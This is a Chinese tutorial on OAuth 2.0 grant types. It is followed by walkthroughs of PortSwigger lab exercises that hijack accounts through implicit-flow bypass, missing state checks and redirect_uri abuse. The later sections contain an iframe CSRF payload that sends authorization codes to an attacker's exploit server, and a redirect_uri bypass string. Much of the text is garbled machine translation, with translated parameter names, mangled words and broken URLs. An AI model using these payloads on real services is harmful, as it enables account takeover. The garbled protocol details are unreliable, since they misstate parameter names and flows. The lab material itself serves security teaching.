OAuth 2.0协议及漏洞
1 OAuth 2.0 协议简介
OAUTH 2.0是一种授权机制，通常用于授权第三方应用程序登录。数据的所有者告诉系统他同意授权第三方应用程序以获取用户数据。因此，该系统生成了一个短期条目令牌，该令牌替代了第三方应用程序使用的密码。用外行的话来说，登录时，许多网站都可以使用第三方网站的身份进行登录。本质是通过OAUTH协议授权。
1.1 OAuth 协议中的角色
Third-party application：第三方应用程序，通常称为“客户”。HTTP service：HTTP服务提供商，通常称为“服务提供商”。
Resource Owner：资源所有者，通常称为“用户”（用户）。
User Agent：用户代理，通常是指浏览器。
Authorization server：身份验证服务器，即服务提供商专门用于处理身份验证的服务器。
Resource server：资源服务器，即服务提供商存储用户生成的资源的服务器。它可以与身份验证服务器是同一服务器或其他服务器。
1.2 OAuth 协议的认证流程
OAUTH 2.0的操作过程如下：
用户打开客户端后，客户端要求用户授予授权。
用户同意批准客户授权。
该客户端使用上一步中获得的授权从身份验证服务器中申请令牌。
在身份验证服务器对客户端进行身份验证后，它确认它是正确的，并同意发布令牌。
客户使用令牌将其应用于资源服务器以获取资源。
资源服务器确认令牌是正确的，并同意向客户开放资源。
1.3 OAuth 2.0 四种授权方式
1.3.1 authorization code - 授权码模式
授权代码方法是指需要首先申请授权代码的三方应用程序，然后使用授权代码获取令牌以访问系统。以下是此授权方法的流程图，使用github帐户登录第三方网站：
步骤1：第三方网站提供了链接。用户点击后，他将跳到GitHub并授权用户数据用于第三方网站。以下是通往Github的第三方网站的示意图。
1
2
3
4
5
response_type=代码
client_id=client_id
redirect_uri=callback_url
范围=读取
响应_type参数表示需要以授权代码的形式返回结果。 client_id参数允许github.com知道谁在要求。 redirect_uri参数是GitHub接受或拒绝请求后的重定向URL。范围参数指示所需的授权范围（此处仅读取）。
步骤2：用户跳跃后，GitHub将要求用户登录，然后询问他是否同意将授权授予第三方网站。用户同意，然后GitHub将根据Redirect_uri参数指定的URL跳跃，并传递授权代码：
1
步骤3：在第三方网站获得授权代码之后，请从GitHub网站请求令牌。
1
2
3
4
5
6
client_id=client_id
client_secret=client_secret
grant_type=授权_code
代码=授权_code
redirect_uri=callback_url
client_id参数和client_secret参数用于让github确认a的身份； client_secret参数是机密的，因此它只能在后端发送请求），Grant_Type参数的值是授权_code，表明所采用的授权方法是授权代码，代码参数是step2获得的授权代码，而redirect_uri参数是redabback_uri参数，是遵循token issuans的回音url。
步骤4：GitHub收到请求后，向第三方网站发出令牌。也就是说，将一块数据发送到Redirect_uri指定的URL，例如：
1
2
3
4
5
6
7
8
9
{
'access_token':'access_token'，
'token_type':'bearer'，
'Expires_in':2592000，
'refresh_token':'refresh_token'，
``范围':'READ'，
'uid':100101，
'info':'.'
}
将来，第三方网站可以使用此代币来获取请求的用户资源。
1.3.2 implicit - 隐藏式
此模式允许将令牌直接发布到前端，这简化了获得授权代码的中间步骤。
步骤1：第三方网站提供了一个链接，要求用户跳到GitHub网站并授权用户数据用于第三方网站。
1
2
3
4
5
response_type=令牌
client_id=client_id
redirect_uri=callback_url
范围=读取
步骤2：登录后，用户跳到GitHub并同意授予第三方网站的授权。此时，GitHub网站将跳回Redirect_uri参数指定的重定向URL，并将令牌作为URL作为URL参数传递给第三方网站。
1
令牌参数是令牌，第三方可以直接在前端获得令牌。
令牌的位置保存在URL锚点中，因为OAuth 2.0允许重定向URL使用HTTP协议，因此存在“中间人攻击”的风险。当浏览器跳跃时，锚将不会被发送到服务器，这可以降低令牌泄漏的风险。
1.3.3 password - 密码式
如果应用程序在相对信任的环境中，RFC 6749还允许用户将用户名和密码直接传递给应用程序。该应用程序通过使用用户密码请求令牌。
步骤1：第三方网站要求用户提供GitHub网站的用户名和密码。在第三方网站获得凭据之后，它直接从Github请求令牌。
1
2
3
4
5
Grant_Type=密码
用户名=用户名
密码=密码
client_id=client_id
步骤2：在GitHub身份验证后，将直接给出令牌。在这种情况下，无需重定向以重定向，而是将令牌放在JSON数据中作为HTTP响应，因此A获得令牌。
1.3.4 client credentials - 凭证式
此方法适用于没有前端的命令行应用程序，即在命令行上要求一个令牌。步骤1：第三方在命令行上要求GitHub。
1
2
3
4
grant_type=client_credentials
client_id=client_id
client_secret=client_secret
步骤2：通过GITHUB验证，将令牌直接返回。
以这种方式给出的令牌是针对第三方应用程序，而不是用于用户的个人，因此有可能多个用户可以共享相同的令牌。
1.4 令牌的使用
第三方网站获得令牌后，它可以从GitHub API请求数据。目前，发送给API的每个请求都必须携带令牌。具体方法是将授权字段添加到请求标题信息，并将令牌放置在该字段中。
1
2
curl -h'授权:携带者access_token'\
'https://github.com'
2 OAuth2.0 认证漏洞
2.1 OAuth 客户端应用程序的漏洞
2.1.1 Authentication bypass via OAuth implicit flow
范围地址：3https://portswigger.net/web-security/oauth/lab-oauth/lab-oauth-auth-auth-auth-auth-bypass-via-via-oauth-implitic-flow-flow上一章描述了隐式授权通常用于直接向前端发出代币。在此过程中，通过用户的浏览器作为URL参数将访问令牌从OAuth服务发送到客户端应用程序。然后，客户端应用程序使用JavaScript访问令牌。问题是，如果应用程序要在用户关闭页面后保留会话，则需要将当前用户数据存储在某个地方。
为了解决此问题，客户端应用程序通常会在POST请求中将此数据提交给服务器，并将会话cookie分配给用户。此请求类似于根据密码验证提交请求。但是，在这种情况下，服务器不会将令牌与用户ID进行比较，因此存在风险。
射击范围内的相关数据包如下：
首先，将客户端访问到身份验证服务器的验证路线和请求授权：
然后重定向URL，然后输入帐户密码以进行身份验证：
获取Access_Token：
在/oauth-callback路线下获取AJAX的请求信息：
首先， /我将要求验证访问权限，然后将相应的信息发送到/身份验证的路由以获取持续的cookie：
将电子邮件修改为：[email protected]，以实现权威性的过度：
2.1.2 Flawed CSRF protection
此漏洞的主要原因是OAuth组件的错误配置，例如状态参数的配置。该参数通常是与会话信息相关联的哈希值，该信息将作为客户端的CSRF令牌在服务器和客户端之间来回传递。范围地址：https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
首先，使用WIENER
ETER帐户登录，然后单击附加社交资料：
授权代码将发送到redirect_uri的/OAuth链接路线。特别是，这里没有状态参数，并且有一个CSRF漏洞
再生有效的代码：
构建CSRF请求：
再次使用您的社交媒体帐户登录并获得管理权限，也就是说，使用攻击者的社交媒体帐户来绑定管理员的网站帐户：
2.2 缺少授权码和访问令牌
根据RFC文档，所获得的令牌将发送到授权请求的redirect_uri参数中的位置。如果服务器无法正确验证此URI，则攻击者可以使用此漏洞将客户端的代码和令牌发送到攻击者控制的Redirect_URI参数的指定位置。然后，攻击者可以使用此信息将其发送到服务器的合法redirect_uri地址，并成功获得对用户帐户的访问。010-10110排名地址：https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
第一次登录：
登录后再次登录：
modify redirect_uri：https://exploit-0ad8005303814d4180b43e2501ed0024.4.exploit-server.net/EXPLOIT
构造CSRF请求有效载荷：iframe src='https://oauth-0a8500b803764d57807c3...666LFVKNKKNV296REDIRECT_URIECT_URI=3https://E XPLOIT-0AD8005303814D4180B43E2501ED0024.EXPLOIT-SERVER.NET/EXPLOITRESPONDE_TYPE_TYPE=CODESCOPE=OPENID%20PROFILE%20PROFILE%20EMAIL'/IFRAME
在日志中获取管理员令牌：
使用管理员令牌登录：
2.2.1 Flawed redirect_uri validation
一些OAUTH服务可以为Redirect_uri参数启用白名单验证。如果验证规则有问题，您也可以绕过它，例如：旁路字符串匹配：
https://default-host.com @foo.evil-user.net＃ @bar.evil-user.net/
提交重复redirect_uri参数检测是否存在服务器端参数污染漏洞：
010-10排名地址：3https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-access-tokens-tokens-via-via-an-open-rect-
在这种环境中，redirect_uri不能传递给外部域，试图获得新的旁路方式。
寻找网站自己的URL重定向漏洞，可以随意指定和重定向路径参数：
重塑redirect_uri以绕过限制：
提交有效载荷：
查看日志并获取代码：
获取Admin API密钥：
2。